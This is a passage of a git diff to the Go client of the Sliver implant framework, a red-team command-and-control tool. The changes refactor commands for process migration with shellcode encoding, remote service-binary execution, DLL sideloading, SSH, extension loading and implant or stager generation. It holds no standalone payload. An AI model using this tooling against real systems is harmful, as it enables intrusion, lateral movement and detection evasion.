config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if ctx.Flags.Bool("disable-sgn") {
encoder = clientpb.ShellcodeEncoder_NONE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(ctx),
Encoder: encoder,
})
ctrl <- true
<-ctrl
+10 -29
View File
@@ -21,19 +21,17 @@ package exec
import (
"context"
"fmt"
"os"
"io/ioutil"
insecureRand "math/rand"
"strings"
"time"
insecureRand "math/rand"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
@@ -95,7 +93,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := os.ReadFile(customExe)
fileBytes, err := ioutil.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
@@ -103,7 +101,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
serviceBinary = fileBytes
}
filename := randomFileName()
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
// upload to remote target
@@ -174,28 +172,11 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomFileName() string {
noun, _ := codenames.RandomNoun()
noun = strings.ToLower(noun)
switch insecureRand.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
noun = strings.ToTitle(noun)
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
}
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[insecureRand.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
return string(b)
}
+2 -6
View File
@@ -21,7 +21,7 @@ package exec
import (
"context"
"fmt"
"os"
"io/ioutil"
"path/filepath"
"strings"
@@ -45,13 +45,11 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -64,8 +62,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
+2 -20
View File
@@ -1,27 +1,9 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -42,7 +24,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+4 -38
View File
@@ -1,26 +1,8 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
@@ -49,9 +31,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
port := ctx.Flags.Uint("port")
privateKeyPath := ctx.Flags.String("private-key")
if privateKeyPath != "" {
privKey, err = os.ReadFile(privateKeyPath)
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -61,19 +43,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
kerberosRealm := ctx.Flags.String("kerberos-realm")
kerberosConfig := ctx.Flags.String("kerberos-config")
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
if kerberosRealm != "" && kerberosKeytabFile == "" {
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
return
}
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
@@ -90,9 +59,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+6 -5
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
@@ -63,7 +64,7 @@ func PrintExtensions(con *console.SliverConsoleClient) {
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
for _, extension := range extensions.GetExtensions() {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
installed = "✅"
@@ -82,7 +83,7 @@ func PrintExtensions(con *console.SliverConsoleClient) {
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
func extensionPlatforms(extension *extensions.ExtensionManifest) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
@@ -94,15 +95,15 @@ func extensionPlatforms(extension *ExtensionManifest) []string {
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
func getInstalledManifests() map[string]*extensions.ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
installedManifests := map[string]*extensions.ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
manifest := &extensions.ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
+10 -135
View File
@@ -19,20 +19,16 @@ package extensions
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var installError error
extLocalPath := ctx.Args.String("path")
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
@@ -40,135 +36,14 @@ func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient
return
}
if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
_, installError = extensions.InstallFromFilePath(extLocalPath, false)
} else {
installFromDir(extLocalPath, con)
installError = extensions.InstallFromDir(extLocalPath)
}
if installError != nil {
con.PrintErrorf("Error installing extension: %s\n", installError)
return
} else {
con.PrintInfof("Extension installed\n")
}
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
+16 -206
View File
@@ -21,90 +21,30 @@ package extensions
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
}
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(dirPath, extensions.ManifestFileName))
if err != nil {
return
}
@@ -117,60 +57,9 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
loadedExtensions[extCmd.CommandName] = extCmd
func ExtensionRegisterCommand(extCmd *extensions.ExtensionManifest, con *console.SliverConsoleClient) {
extensions.AddExtension(extCmd)
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
@@ -220,90 +109,6 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.CommandName == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
return errRegister
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
err error
@@ -325,19 +130,19 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
ext, err := extensions.GetLoadedExtension(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%v\n", err)
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
if err = extensions.LoadExtension(goos, goarch, checkCache, ext, con.ActiveTarget.Request(ctx), con.Rpc); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.GetFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
@@ -358,7 +163,12 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
depExt, err := extensions.GetLoadedExtension(extName)
if err != nil {
con.PrintErrorf("Could not find dependency %s for extension %s\n", extName, ext.CommandName)
return
}
entryPoint = depExt.Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -414,7 +224,7 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
func getBOFArgs(ctx *grumble.Context, binPath string, ext *extensions.ExtensionManifest) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
+3 -29
View File
@@ -19,15 +19,11 @@ package extensions
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
)
@@ -44,7 +40,8 @@ func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
con.App.Commands().Remove(name)
err := extensions.RemoveExtensionByCommandName(name)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
@@ -52,26 +49,3 @@ func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintInfof("Extension '%s' removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+2 -1
View File
@@ -22,6 +22,7 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
@@ -172,7 +173,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
+1 -5
View File
@@ -31,11 +31,7 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if save == "" {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, save, con)
} else {
externalBuild(config, save, con)
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
+5 -23
View File
@@ -1,28 +1,10 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"net"
"os"
"regexp"
"strings"
@@ -69,12 +51,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badChars := ctx.Flags.String("badchars")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badChars) > 0 {
for _, b := range strings.Split(badChars, " ") {
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
@@ -116,7 +98,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
+10 -207
View File
@@ -22,11 +22,12 @@ import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
"net"
"net/url"
"os"
"os/signal"
"path"
"path/filepath"
"runtime"
"strings"
@@ -35,8 +36,6 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
@@ -83,9 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
ErrNoExternalBuilder = errors.New("no external builders are available")
ErrNoValidBuilders = errors.New("no valid external builders for target")
)
// GenerateCmd - The main command used to generate implant binaries
@@ -98,24 +94,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if save == "" {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, save, con)
} else {
_, err := externalBuild(config, save, con)
if err != nil {
if err == ErrNoExternalBuilder {
con.PrintErrorf("There are no external builders currently connected to the server\n")
con.PrintErrorf("See 'builders' command for more information\n")
} else if err == ErrNoValidBuilders {
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
con.PrintErrorf("See 'builders' command for more information\n")
} else {
con.PrintErrorf("%s\n", err)
}
return
}
}
compile(config, save, con)
}
func expandPath(path string) string {
@@ -139,7 +118,7 @@ func saveLocation(save, DefaultName string) (string, error) {
if strings.HasSuffix(save, "/") {
log.Printf("%s is dir\n", save)
os.MkdirAll(save, 0700)
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
@@ -153,7 +132,7 @@ func saveLocation(save, DefaultName string) (string, error) {
log.Printf("%s does exist\n", save)
if fi.IsDir() {
log.Printf("%s is dir\n", save)
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -178,9 +157,8 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
return "Shared Library"
case clientpb.OutputFormat_SHELLCODE:
return "Shellcode"
default:
return "Unknown"
}
panic(fmt.Sprintf("Unknown format %v", value))
}
// Shared function that extracts the compile flags from the grumble context
@@ -271,7 +249,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
isSharedLib := false
isService := false
@@ -345,7 +322,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
TemplateName: ctx.Flags.String("template"),
WGPeerTunIP: tunIP.String(),
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
@@ -361,7 +337,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
LimitLocale: limitLocale,
Format: configFormat,
IsSharedLib: isSharedLib,
@@ -502,7 +477,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
@@ -631,130 +605,6 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
}
var externalBuilder *clientpb.Builder
if len(potentialBuilders) == 1 {
externalBuilder = potentialBuilders[0]
} else {
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
if err != nil {
